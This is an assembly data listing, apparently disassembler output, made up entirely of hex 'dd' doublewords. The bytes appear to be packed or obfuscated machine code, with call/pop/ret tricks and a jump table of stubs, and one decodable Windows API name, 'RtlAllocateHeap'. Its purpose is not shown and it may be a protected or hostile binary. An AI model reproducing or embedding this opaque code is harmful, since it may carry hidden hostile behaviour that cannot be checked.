		dd 850FE93Eh, 3Ah, 525B58Bh, 858D07A8h,	7AD9ECDh, 0BD8BD0FFh
		dd 7A825C1h, 1184C781h,	0C7830000h, 25B58B08h, 8707A805h
		dd 8B9F7h, 0A4F30000h, 525B58Bh, 858D07A8h, 7AC341Ah, 0C361D0FFh
		dd 7436858Dh, 858907B0h, 7A82DBDh, 762C8D8Dh, 6A07B0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 84EEFEC3h, 8B6680D5h, 898DB7FBh, 0A817318Dh,	50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B982EBABh, 85C7ACA3h, 7A80A59h, 5C2Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 77C35545h, 0E96070FBh
		dd 104A72CCh, 3985C762h, 7A809h, 80000000h, 9D0BCAF3h
		dd 7A82F49h, 55B5FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 85DFFFC3h, 7D6E94Ah
		dd 0E95AC126h, 0Bh, 39BBDD5Ch, 6E5E499h, 0FF0A5B3Bh, 0A81A9995h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 5BB442EDh, 6A379Dh, 0D2195FFh, 0C08B07A8h
		dd 7BE6CEBh, 0F62BFC1Eh, 0DE798FDCh, 89A5C16Bh,	0E2585E32h
		dd 0D4B16EF3h, 0E4A280B7h, 806CF5B4h, 0DA833A01h, 2393401Fh
		dd 0E1D15618h, 0C844AC80h, 52A1DAA5h, 172D3CFAh, 0A4968C1Eh
		dd 9DA11F41h, 0A5D573B5h, 0C9FFFF45h, 6CDE004Ch, 0FD8631A3h
		dd 98B989DAh, 517BFC4Eh, 37D92362h, 8A4AAC1Eh, 8C6AAFFh
		dd 6B1D7E5Dh, 25D9D1FEh, 1FE9A46Fh, 6B000000h, 527C2E2Ah
		dd 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h, 0
		dd 14E90000h, 68000010h, 7B078A3h, 0F808E2E9h, 796D68FFh
		dd 0D8E907B0h, 68FFF808h, 7B07B7Eh, 0F808CEE9h,	7C6868FFh
		dd 0C4E907B0h, 68FFF808h, 7B07FBFh, 0F808BAE9h,	804768FFh
		dd 0B0E907B0h, 68FFF808h, 7B08086h, 0F808A6E9h,	819868FFh
		dd 9CE907B0h, 68FFF808h, 7B08218h, 0F80892E9h, 82A068FFh
		dd 88E907B0h, 68FFF808h, 7B08425h, 0F8087EE9h, 854368FFh
		dd 74E907B0h, 89FFF808h, 0D1BACFC8h, 16FF1403h,	57405542h
		dd 967F9483h, 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h, 534411FAh
		dd 9285553Eh, 0B8FE9D7Dh, 0CBA8F982h, 0C740EE88h, 0B8350017h
		dd 0A926F1E6h, 0A320EBECh, 9916E1F6h, 4F0BDCFBh, 9FB87D48h
		dd 0D9865534h, 183FDF6Eh, 5C7B1A03h, 9BBC5E47h,	948353D0h
		dd 9440D57Fh, 982061A7h, 1F26DB01h, 0B799BB54h,	35F37FB5h
		dd 124C3C54h, 2DDB01C4h, 0B5FDA914h, 8CE3F051h,	4Ch, 0C511068Ah
		dd 0E82E83D8h, 0D35970B2h, 0A999B1B8h, 0DB017674h, 3186737Ah
		dd 176B5EBh, 9CB4BBDBh,	75FB35BFh, 1916DB01h, 76487EC4h
		dd 6F2BDB01h, 22D09D68h, 7DE8031Bh, 0FFFB99D1h,	0D760E3h
		dd 23450000h, 0A41CCF54h, 7ED05F7h, 130017C7h, 0E1734CF1h
		dd 5902659Bh, 0AA646BD3h, 0CBB87257h, 59014F85h, 364E55D3h
		dd 256BC059h, 0D35900EFh, 0F3D6EEF5h, 0EF6C3720h, 0C45D282Fh
		dd 0F3296Fh, 0F2F9D359h, 95607721h, 0DCDB0C8h, 92FB1D0Ah
		dd 13765A94h, 0A298BFD7h, 0D358A747h, 5A6F682Ah, 0EBB6A171h
		dd 7F6CA8ADh, 4E3F082Ah, 0B8615707h, 15FBB0A0h,	0FA01DB01h
		dd 4ADA3BE5h, 1B3CDC8Bh, 41622FFAh, 0C6F70E54h,	0F6FDE2ABh
		dd 0A0DD009h, 4E490CF5h, 660F0D56h, 1DF58AFCh, 0D7Dh, 4F647324h
		dd 8CA1B666h, 0CDE2F5A3h, 0C2136E4h, 52677023h,	7D208544h
		dd 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h, 8B2A0A1Fh, 0A8F80F45h
		dd 0CD7B15CBh, 0EE0314C7h, 2D425505h, 0C5110641h, 765D92D8h
		dd 0AC63DB01h, 1CCEDEAh, 6F682F68h, 762D6757h, 2F48DB01h
		dd 0FB5218C4h, 0B6A7E3FFh, 0A5000000h, 130017C7h, 4F1A3DDAh
		dd 108D6A82h, 0F57F4A4Dh, 0D359759Ah, 0A5BADD7Dh, 32FD1ABCh
		dd 0C6B363F4h, 19ACB80h, 0DDCAD1DBh, 0C9E1F6A4h, 0B71FF8A2h
		dd 9C3C75CAh, 4B73637Bh, 51E2AC47h, 11DCFB9Ah, 0DB115744h
		dd 0E1E2AC47h, 93CCB9DAh, 3A07D2C5h, 2BEA2322h,	0D912172Ch
		dd 21041C3Bh, 0FE6D6572h, 2FFC668Fh, 0CB3C29Ah,	0B95A0000h
		dd 0FCA0899Eh, 3BDDC6DBh, 781E071Ch, 0B2614A5Fh, 478290A5h
		dd 8398BF5Eh, 0C3D8FF9Ah, 51A3DDAh, 485D7A1Ch, 4D83C968h
		dd 53CBA8F7h, 89AB0BB9h, 0B6949ECCh, 1CFF173Bh,	4F715E79h
		dd 7034CB6Ch, 92B9D17Eh, 0D9EEE9A9h, 0A372ABEDh, 41CE9B4h
		dd 9B667121h, 0E9AB7C1Eh, 355623EEh, 6FF02A20h,	7EB7D359h
		dd 21EEB9DEh, 0C18C8B50h, 59F9DCF4h, 9E40293Eh,	6131AE79h
		dd 0CDE6AB76h, 6403D362h, 6B80A1B6h, 0A8012D65h, 9CF41Bh
		dd 6F20000h, 7DB3F911h,	44D35970h, 5970C8FEh, 19C7CED3h
		dd 0BE04F112h, 0DB018089h, 1700D88Fh, 0ED009F6h, 7B14F109h
		dd 80AAE026h, 0A9B0DB01h, 8067A191h, 6982DB01h,	0D1852FEh
		dd 5BE1E3F0h, 0DF000000h, 597081BAh, 62B2A3D3h,	0E19D3C75h
		dd 2AE4F31Ch, 9F6A8BB7h, 66BBBAD2h, 9D686F2Dh, 13C8B8D0h
		dd 19DB015Fh, 4114FD12h, 0C84D8B56h, 84D91F0Ch,	4BE2A97Ah
		dd 8D3EC529h, 122A81C9h, 4D364B52h, 69A28F88h, 0B491A9AEh
		dd 4835E176h, 52110502h, 0EF040BEAh, 891ABh, 1106ED00h
		dd 592D8C5h, 0BDB0195h,	75AF3904h, 90DB0195h, 2A600C77h
		dd 0EFE3F026h, 0Dh, 7080BAEDh, 0E713D359h, 0FFFFFCABh
		dd 0C5110629h, 0A5E592D8h, 0E4EBDB01h, 0E52B8019h, 0DB01A6AFh
		dd 38DDAEB5h, 0DD17071Fh, 0F8DB01A6h, 2A60A6FBh, 30DB01A6h
		dd 8BF61129h, 0F037ABDFh, 4F66EE3h, 0C36C0000h,	50729462h
		dd 0CDFB1829h, 7BD3B3C3h, 4162CD01h, 44908529h,	61F01157h
		dd 0EFF6DB01h, 939DF8C6h, 56BF84C6h, 33C917Eh, 2C624057h
		dd 3284C693h, 0CE14132Bh, 8C6EA075h, 4750033Ch,	9CB4A376h
		dd 0AFE8D5DCh, 0BE24EFE8h, 0B22C9664h, 0DAF21381h, 0B256BFFDh
		dd 6F10366Ch, 14353C8Ch, 88C1E127h, 0C0C7941Ah,	13F89AD3h
		dd 1A8897CDh, 0C5969D94h, 0D0E50611h, 282037E7h, 33F54E37h
		dd 0A2572FC4h, 4900000Ah, 917A8F88h, 0D6BFD4C3h, 17001502h
		dd 563F5443h, 6D7B9087h, 8D8A495Ch, 0CFC88F78h,	1304D1BAh
		dd 524515FEh, 78BE5D3Dh, 0CBA8F542h, 0C700AE48h, 0F7350017h
		dd 83C9B61Eh, 0DB019C7Ah, 378C7980h, 733E59FEh,	3D73B9A6h
		dd 43DB019Ch, 9441243Ch, 0D0856E83h, 3C72FCC7h,	12DB019Ch
		dd 0DB01ACD8h, 0A6B1669Fh, 0A96DEA8Eh, 0C2D583BCh, 0E2185EF7h
		dd 0E8DB01ACh, 0A9A8C0E1h, 0A9B3F663h, 8F5FCE2h, 430E09CFh
		dd 0F7815E76h, 0E2A9B4BDh, 0A854BFD8h, 0EB07BDE2h, 2537h
		dd 11063500h, 0E592D8C5h, 0EBDB0180h, 0A5706734h, 6FA5EBD8h
		dd 75DB0181h, 27604D6Eh, 6E4B6374h, 1D96h, 72ABD800h, 0F69AB2A5h
		dd 73C8B561h, 596FF72Dh, 0DEF6FDD3h, 96E099DFh,	0DFE6DB01h
		dd 17C79414h, 0A61D0800h, 41D60CCBh, 9B869h, 99BE5F00h
		dd 0DEF99B84h, 1F38E0C9h, 6275210Ah, 0A6B1644Dh, 5F468391h
		dd 9D869BBCh, 0DFC8DDFAh, 1F081D3Ah, 6343587Fh,	0F4487EC4h
		dd 0B44ECBA8h, 0C5110606h, 8D4A83D8h, 0F81FB98Ah, 5848602Dh
		dd 0DB017ECFh, 8603CED5h, 0B8AEC3D4h, 24CB8FFh,	0EFDC3021h
		dd 2CF7E0B6h, 20EBECAFh, 0F31A3253h, 1FBFCCEEh,	40E1DF87h
		dd 43938428h, 293D3456h, 3563D405h, 1FD81E1Dh, 2509F519h
		dd 9CE2A96Eh, 9F51966h,	2344656Ch, 1E39DB58h, 1EF65F09h
		dd 217EEB31h, 0B184119Dh, 9D21356Bh, 52451811h,	50CBA87h
		dd 1BBEF7E4h, 7D07E4FCh, 119D2143h, 2EDA455Eh, 0DA1BB264h
		dd 167BDh, 74DA200h, 119D19D1h,	0D2B8D0D7h, 0D8C51106h
		dd 0A94E6183h, 733E59FFh, 0E542ECA6h, 1205D2A3h, 83810AFAh
		dd 8087DB00h, 9ABD5A93h, 3F0A0DC9h, 7D5A72h, 134C395Eh
		dd 0E1F6A245h, 5D284916h, 0B43BD690h, 71D81003h, 0F42D3259h
		dd 3A1D3522h, 376DB398h, 3DDB0166h, 0C04A1536h,	24CA107h
		dd 0BE123413h, 805F8651h, 228DA8C0h, 0A6DC2277h, 0AC024D0Fh
		dd 0E8AA8DA5h, 67AD02EFh, 24D0F31h, 0F1183037h,	0C6915608h
		dd 4CE5B0D1h, 0F7BB1F7h, 0CA81024Dh, 0D1E90A0Dh, 984A28E1h
		dd 0F5600D29h, 79AFF54Ah, 7F29984Ah, 0DD7D6078h, 1ABCA5BAh
		dd 61F432FDh, 687EC4B1h, 6E29984Ah, 2B4D5267h, 798FF6C7h
		dd 1EC2DA38h, 6D6A2D39h, 0C7B4D5A2h, 3FD3B081h,	0E4AFB631h
		dd 7AB0F64Bh, 80313FD3h, 4E2586E0h, 0C2DFACCh, 89A3D91Fh
		dd 0A2A9313Fh, 0E0F7A78Ah, 0FA1DBAF3h, 0D2BBE2h, 27F12A17h
		dd 0B13B1830h, 313F8993h, 0D160CB78h, 0B011601h, 0A593C277h
		dd 4750053Eh, 0F397AF7Ch, 8E59FE66h, 3401CCCBh,	0F4DDF213h
		dd 0F3483522h, 93C277ADh, 5E767DA5h, 6971F781h,	85542BDBh
		dd 8A4AC792h, 0B62BC28Dh, 0C9C46C4Bh, 80FCF5Eh,	4F480AF3h
		dd 5D14684h, 0CF8AC318h, 0B3C0B0C8h, 0B933837Dh, 35599DB2h
		dd 9B000000h, 0B4A372ABh, 0B71FF89Ch, 80D784CAh, 0D6DDDB01h
		dd 3FE8B0E9h, 0E0AD789Fh, 292EEEBFh, 9C79915Eh,	455A7D1Fh
		dd 13F72373h, 9DE3D000h, 0DB01866Fh, 76506E75h
		dd 5CF689ABh, 1CD0BBBEh, 0B6712104h, 5926F1E6h,	0A3C4D388h
		dd 0A373E48Eh, 784B70B6h, 4A51DB01h, 8CC2085Dh,	92DB0178h
		dd 3B74738Bh, 0A0DC99Eh, 3C51723Fh, 0C6918653h,	3A790B2Dh
		dd 84512341h, 874FC86Ch, 0C4B549Ah, 0B151E2AAh,	0A8400E78h
		dd 66380901h, 0B8D9A671h, 0A02963EDh, 0CA4BE2A9h, 6AD71D0Ah
		dd 31EA51A8h, 0A89B23F8h, 4EF27088h, 9A673253h,	0F0BBC282h
		dd 5E791E57h, 0BEAEC693h, 0EA51DD84h, 74DA29Fh,	0EA51DDD1h
		dd 9DE3D0D7h, 0EA51DD67h, 334E666Dh, 92561CC8h,	1AABF2AFh
		dd 0A9000000h, 892C1106h, 74B451A5h, 0C107F415h, 0DB011414h
		dd 7048131Ah, 29h, 6D89ABB2h, 3B82351Fh, 2E27CBE3h, 6BA4F9E6h
		dd 385FFEA9h, 0ACF4C17h, 0E4D4EC0Dh, 0DB00F12Bh, 0C65F2A31h
		dd 0B0C8CF8Dh, 1289ABCAh, 0C58EDA59h, 5B7C1EEFh, 99BE6043h
		dd 0CBBAA8A1h, 0C8A0350Ch, 661h, 2B405708h, 70859242h
		dd 0B1C6D187h, 0F00512C8h, 2E435407h, 59FCA920h, 9940293Eh
		dd 0DB80697Eh, 1CBEA7BCh, 6706E6FBh, 0A8F0EB21h, 0A957F1CBh
		dd 77E06DC3h, 4B6CB29Fh, 51DB0176h, 5D53214Ah, 7F9D4850h
		dd 0B513E96h, 0A4F06966h, 5C9A656Ch, 0E82E1BFBh, 0AC98A58Dh
		dd 669F8C93h, 3621F3B4h, 0D9FB0015h, 0F6111949h, 0E0F7A7BEh
		dd 12C4A7BFh, 4DBDF339h, 0CC3AC99h, 92A4B4Ch, 0B853211h
		dd 4E26BB2Ah, 5D9h, 0A3B8DF80h,	0E8FD1ABAh, 293E59FFh
		dd 687D9A40h, 0A6BBDC7Fh, 0A1743198h, 0E1B8A1B6h, 23F8E1F6h
		dd 64361F34h, 0DF7E5E73h, 0A8F06399h, 21CF69CBh, 80017C7h
		dd 0CCBA63Fh, 9A8F67FCh, 41000005h, 89728790h, 0CEB7CCCBh
		dd 0FF80D0Ah, 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h
		dd 0B0CC9B2h, 4A4D0DF6h, 70B65535h, 0CBA8F03Ah,	0C7F8A640h
		dd 0F7350017h, 83C9B61Eh, 0DB09E6FFh, 0CACD8DC6h, 0D6EBF2B2h
		dd 367CD1h, 0E3DB09E7h,	0BD742235h, 0C1D9FA1Dh,	0EFDC381Dh
		dd 0B1EE14A9h, 0F6A2DBE2h, 314916E1h, 159F6A71h, 0E2B1EEDBh
		dd 8F4B1CBEh, 0CFF0BD88h, 0C0D78704h, 0AC1730F5h, 0B01B34CDh
		dd 7F4E04h, 0BD93EBh, 23780000h, 0B1E6A7DDh, 8EA6ADE2h
		dd 0E16CC3A8h, 5EB3A074h, 5970E218h, 0C9E1E8D3h, 766384CAh
		dd 0F12ADB01h, 9E6B3621h, 96BFC686h, 888A8C8h, 0BD4DCAAAh
		dd 8884177h, 1F4047AAh,	5CBBDD32h, 650C24C9h, 0C65556Dh
		dd 12B1B100h, 0D09BBC5Bh, 72653203h, 67426451h,	0AB792F6Dh
		dd 47686F2Ah, 3ADE145Ah, 0DDE4B1B1h, 0ADAAE8C5h, 16367C69h
		dd 1CB95CB2h, 2FEF2815h, 682A1328h, 18B4776Fh, 0C85D1537h
		dd 488F0h, 696E2F00h, 0AEA96B54h, 0EFE8B099h, 3225F1DAh
		dd 7661341Dh, 2F765361h, 6D566B6Ch, 0AF98ADAAh,	0EFD8EDEAh
		dd 3313282Fh, 0EF184E94h, 841ECBA8h, 7B6CD6h, 0ABAE0000h
		dd 0E7B2A572h, 0F95E021Ah, 0A2DB301Dh, 0D9C9E1F6h, 0DB09E745h
		dd 1E57444Bh, 5D465B7Ch, 91CF9ABDh, 1D635084h, 0E2B1F8A4h
		dd 7DB6A3AAh, 27F4BFD8h, 63F4320Fh, 0A780C6B3h,	0ADEA5A19h
		dd 0F1F5AEA6h, 1DB2E434h, 40845h, 0E9EEAF00h, 2E29EBD4h
		dd 6F683019h, 0B2A5715Ah, 0F6E1B49Dh, 0AFF6D3E1h, 0EDD6EBECh
		dd 2F182D2Ah, 6F586D6Ah, 0B393A8AFh, 0EE98CE14h, 49ECBA8h
		dd 1056AB56h, 0D35970DAh, 2FFA1DBDh, 95ADB462h,	59706FA5h
		dd 5FFD36D3h, 0F6302038h, 18D3596Fh, 0B1EAD73Fh, 819643E4h
		dd 0F4494860h, 0ABA8E3D2h, 7189B628h, 9BBFD81h,	0FFC03DBh
		dd 0F91106D6h, 0D061831Ch, 993598F7h, 0FB9B7E96h, 0EF35E4DCh
		dd 21B6F484h, 38049h, 61762700h, 0A6B1634Ch, 0E7F0A891h
		dd 2A2DE9D2h, 6E692C15h, 277E4B59h, 654E6374h, 0A790A5B2h
		dd 0E7D0E5F2h, 2B0B2037h, 0EE10468Ch, 7C16CBA8h, 17C7CEh
		dd 0B61EF735h, 34CA90C9h, 196A3EA2h, 8E597A28h,	64AAA9C1h
		dd 0DB00D4F3h, 362E59F9h, 182F50F6h, 55618799h,	7495B66Bh
		dd 8F884E87h, 6E3DF7C4h, 0F9B0367Bh, 0CDD2F911h, 0E3D0C794h
		dd 88679Dh, 4E666DDBh, 8853295Eh, 4E490C25h, 8A8D5039h
		dd 3C9081BFh, 17C73B27h, 0C28D8A50h, 8C09D4F5h,	8BE0CDCAh
		dd 59700F45h, 540E15D3h, 377E86B6h, 598098D8h, 18BEA6AFh
		dd 686F2EFFh, 0C2AFD09Dh, 18F3B7Ch, 6F3A41DBh, 7CA6B4D6h
		dd 0DC777B6Eh, 69AD4C4h, 9CB5DB02h, 97CD8531h, 3E14E3F0h
		dd 12000000h, 0D8C51106h, 0F14329B6h, 0D2EA9E89h, 33588DD3h
		dd 575EDB01h, 1EBAF38Ch, 49612EF9h, 1331F59h, 0B6213ADBh
		dd 0DEE1E90Bh, 334582A9h, 0D8A57067h, 0EB9F9FB7h, 2EE3F09Dh
		dd 0ABh, 17C72Ch, 0F2E5B835h, 56E8AA27h, 1BE3391Bh, 905B7CB9h
		dd 3F544313h, 73F0183Ah, 0CA4ABB8h, 38A904F4h, 0CA8CD359h
		dd 0FCFB8CDh, 16FF3D08h, 1E8BD1BEh, 24DB0147h, 0D10E301Dh
		dd 5F0B99D1h, 832D546Ch, 0F554292h, 0E2AB9E5Fh,	58E70426h
		dd 0E25D81AFh, 116A0ACAh, 8213D993h, 2D665374h,	6B54696Eh
		dd 16B7AFA8h, 0C3FC66C7h, 1FB562Eh, 0F1A20000h,	34E8D1E6h
		dd 73250E23h, 0B0664F64h, 0EAA992A7h, 0FFCAD8EDh, 0CBE0F7A6h
		dd 0B2037E2h, 4D627522h, 90A5B264h, 95CB11B0h, 9BCBA8ECh
		dd 14C75301h, 5505EE03h, 6412D42h, 92D8C511h, 0DB01765Dh
		dd 0EBECAC63h, 541BA20h, 0BF785E09h, 19B27D9Eh,	7487EC4h
		dd 7B4EDB02h, 206FF35h,	0DDFE05DBh, 79BD5C5h, 0B9B6DB02h
		dd 0EEB9DE80h, 83EE0921h, 0FF6893D7h, 0E466E3h,	0C7640000h
		dd 0BE130017h, 59704278h, 8DC309D3h, 93D35970h,	0BFD7DE8Ch
		dd 0E42749E2h, 0BB15AC58h, 0D87B5E76h, 0F6AF4BFh, 0F2D3594Eh
		dd 1D223720h, 4E4C82C8h, 4B52D359h, 898E5033h, 2A0325BEh
		dd 0FEF6F291h, 0BA9B3F57h, 8D12488Eh, 22F5D358h, 5F808735h
		dd 789F3972h, 0CEE6F1A7h, 9C1C89CFh, 1B22DB00h,	66AC0106h
		dd 0DB009C30h, 73172F36h, 0FF4532E2h, 0E2AB49F0h, 0C902EFF6h
		dd 0CB200D0Ah, 0AB4A4F85h, 776032E2h, 83AAC2C9h, 0DC0E5C7Eh
		dd 0FD409CD6h, 445302E5h, 6506B14Ch, 0C59D32FCh, 0DDh
		dd 0AFC4D384h, 0EC0116C6h, 2D425503h, 6C819644h, 0B2C7D083h
		dd 0DD8025A4h, 1DBCA5BAh, 5FFCE5FAh, 983A2338h,	0EB8A6A7Fh
		dd 0A8EB6FA5h, 2DDB75CBh, 0EE0314C7h, 2D425505h, 328C0628h
		dd 0A1014054h, 17C7A389h, 1EC98967h, 5958A2D8h,	0E7A1A8D3h
		dd 8F55E94h, 58ED8CC2h,	6A8B92D3h, 47E4069Fh, 0ACC0F64h
		dd 6032152Dh, 5FB86277h, 0FC358A77h, 0A16E395Eh, 10019989h
		dd 7DB09h, 0F1E6B835h, 3423F3DCh, 494E0E47h, 0BC99B17Eh
		dd 0A7BD0032h, 0A6110C56h, 3B504717h, 32E78052h, 0BC8D5A25h
		dd 12DDFE19h, 7C9B4079h, 0E9CCE4B1h, 0E45F2A2Dh, 9D3DCC37h
		dd 0F2388D7Ah, 56A7BDBCh, 31DFF89Fh, 2EB122Ah, 385A4750h
		dd 855478A3h, 40FAC792h, 233B04DAh, 36E46h, 0DCB00000h
		dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
		dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 6D683CF4h
		dd 89000024h, 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2404895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 51240C89h
		dd 8879E468h, 0C1815920h, 75E4312Eh, 0DC2CF181h, 0C88991DCh
		dd 81240C8Bh, 4C4h, 59916800h, 24890000h, 24048324h, 0EC835904h
		dd 24048904h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 8B5C2404h
		dd 89512404h, 4C181E1h,	83000000h, 0C8704C1h, 0DCE95C24h
		dd 17FFF7F8h, 0B8C6A86Bh, 7B08645h, 0E0FFC503h,	6CE646Ch
		dd 1BF1ED10h, 6F29BDD4h, 5AF33104h, 32135C99h, 3B099DF9h
		dd 2A7025A1h, 105BCBB7h, 521BB947h, 71678D6h, 62061EE5h
		dd 4FE5E820h, 1B62B42Dh, 71DF9333h, 74C1A654h, 20891AAFh
		dd 6D80D335h, 692A03BBh, 56049B11h, 6B2D5599h, 4FF2E88Ch
		dd 5612C69Bh, 78A83812h, 5A0F5B74h, 3185E6F3h, 46188AB8h
		dd 1811E584h, 4AF22A6Fh, 456E6B4Dh, 8F32525h, 2AF6D35Bh
		dd 653BA6CCh, 88398D8Dh, 526007B0h, 153D8589h, 505B07A8h
		dd 880Fh, 61580000h, 17318D89h,	6A07A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F88E97C3h
		dd 0EB9789F0h, 12E9837Eh, 25000000h, 0E644128Bh, 0D70167CDh
		dd 7BFE3558h, 28537E3Bh, 5985C72Ch, 7C07A80Ah, 6A00005Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D1ADC356h, 40CE076Eh, 0F2CF328h,	586h, 0DE816600h
		dd 85C7BB1Ch, 7A80939h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 31C35747h
		dd 0EA613DF8h, 0FDB5FFAFh, 8007A80Ah, 95FF93DEh, 7A81A99h
		dd 6A90E480h, 2195FF00h, 8B07A80Dh, 5428EBC0h, 8F46C84Fh
		dd 8CDC143h, 11E5416Ah,	3D263B83h, 0A4411B4Fh, 0B556D4EAh
		dd 0B6CE257Eh, 0DA8EE952h, 6167CBCh, 8D7E6E96h,	0B089108Dh
		dd 0B840F07h, 0F000000h, 58Fh, 0D2816600h, 81666555h, 895412D0h
		dd 0A817318Dh, 0CD958907h, 0C707A81Ch, 0A80A5985h, 644807h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 183DBA3h, 0A829B1BDh, 3985C707h,	7A809h
		dd 0BF000000h, 72010309h, 5DDB5FFh, 506007A8h, 8B5EFAB5h
		dd 95FF61DAh, 7A81A99h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1C35040h, 852BE192h, 7A82631h, 1D459D8Bh
		dd 6A07A8h, 0D2195FFh, 0C08B07A8h, 64B369EBh, 0BFA4B4B5h
		dd 0DA2375ACh, 685E42BFh, 68EFC268h, 2CC19C3h, 692F6F36h
		dd 6CABE4F7h, 6A7EA0DEh, 3501D5E7h, 0A781357Dh,	4C1DF96Dh
		dd 0BEC12234h, 8579FF0h, 16967E34h, 0A98DA3E8h,	63366E1Eh
		dd 0BAAB6A6Ah, 0BECF7CE3h, 0D37869F6h, 7B562233h, 69FB7E13h
		dd 0EF4FB10Bh, 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h, 8D49398Bh
		dd 0B08A048Dh, 0D1BF0F07h, 17318D89h, 0BF6607A8h, 85C76F07h
		dd 7A80A59h, 667Ch, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 37C35343h, 3C8C0C46h,	8B375F7Fh, 0A82FDD95h
		dd 0F1BF0F07h, 3DB8166h, 3985C762h, 7A809h, 8B000000h
		dd 0A83331B5h, 0BDB5FF07h, 6607A80Bh, 95FFD88Bh, 7A81A99h
		dd 6880Fh, 0CF810000h, 320E2063h, 5718501h, 6A07A8h, 0D2195FFh
		dd 0C08B07A8h, 95583EEBh, 46351013h, 0FBFB6092h, 0A0EC8334h
		dd 0EB6062BCh, 0D19F1AE1h, 27E08h, 858FB8F4h, 283B3DBAh
		dd 7405F024h, 0A2655B5Ch, 2CBBDA97h, 3B0F65E6h,	17A36AD2h
		dd 0F3B9B204h, 0F17773EFh, 10E8h, 481A6000h, 0AADD8518h
		dd 0C1712CBCh, 0DAA9A173h, 6810F9Dh, 89000000h,	0A81E3985h
		dd 870F5A07h, 6, 24818D89h, 0C28107A8h,	634Fh, 0F8D18166h
		dd 18A46858h, 8A5B0000h, 0E832FFCFh, 0Fh, 4777191Ch, 9367AF16h
		dd 0DBD0BFF8h, 51A76ABEh, 0F585F5Eh, 689h, 398D8B00h, 8107A835h
		dd 0E38E7CE8h, 0E982BE28h, 0F0810761h, 5552123Fh, 71B50352h
		dd 5F07A80Bh, 70E6E881h, 0F501C06h, 1881h, 0DE800h, 21650000h
		dd 1E0F8219h, 0F0125F74h, 668032E3h, 0CBC4F681h, 66028F5Fh
		dd 83E998BEh, 800F02EAh, 0
		dd 0BD894A4Ah, 7A826B5h, 7E850F4Bh, 66FFFFFFh, 0DD9BEE81h
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 85F68160h, 0F9307B55h, 0F9BD8361h, 7A827h
		dd 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h,	42Dh, 25858589h
		dd 9D8D07A8h, 7AAB023h,	585BD3FFh, 605BD83h, 740007A8h
		dd 0B8535017h, 42Dh, 25858589h,	9D8D07A8h, 7AAAD12h, 585BD3FFh
		dd 0B609EA80h, 8BC08B22h, 0A83165B5h, 0E58D8B07h, 6007A81Ah
		dd 1A799501h, 816607A8h, 6173F9F3h, 0F00F983h, 5484h, 38D0F00h
		dd 66000000h, 8B64F38Bh, 2C3Dh,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0D78BA2FBh
		dd 840FFF0Bh, 1Dh, 80D88160h, 3121FF72h, 0A828219Dh, 3F8B6107h
		dd 0C032D18Bh, 23AAF3F5h, 0A80FC995h, 41493507h, 0AABA5350h
		dd 0C652CADEh, 0A8061985h, 6A4707h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E03115C3h
		dd 23319673h, 41BA6676h, 0A25F68CBh, 8B0FD63Bh,	4, 2806BA66h
		dd 73243481h, 6A0AED2Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0ABF8C352h,	75EDBB0h
		dd 0B5FF877Eh, 7A80CE1h, 6860Fh, 0B58B0000h, 7A821A1h
		dd 781A858Dh, 958B07ABh, 7A80A71h, 9589D0FFh, 7A80A09h
		dd 158589h, 5EBA07A8h, 0C665269Eh, 0A8061985h, 6A5307h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 918514C3h, 9531E4EDh, 7A817EDh, 0B8619B68h, 0F525023h
		dd 38Ah, 0F28B6600h, 8E8310Fh, 62000000h, 20C6128Dh, 0F89FC44h
		dd 8Ah,	585A5A00h, 61240481h, 6A64E009h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0ED94C353h
		dd 0C0948569h, 0B9952380h, 0E907A804h, 5, 444681Ah, 0E1B5FF89h
		dd 6A07A80Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FA5C353h, 98Dh, 38E0F00h, 66000000h
		dd 858DF18Bh, 7AB781Ah,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 27C35040h, 723295A1h,	0EE9B589h, 0D0FF07A8h
		dd 31E9958Bh, 858D07A8h, 7AB41FDh, 894FE280h, 0A8060D85h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F6E66F37h, 91B856A1h, 0F281662Ah, 206A7C5Ah
		dd 95FFFF6Ah, 7A8060Dh,	50414935h, 0A185C753h, 107A805h
		dd 0C7000000h, 0A8317185h, 7, 69958B00h, 107A808h, 0A80F618Dh
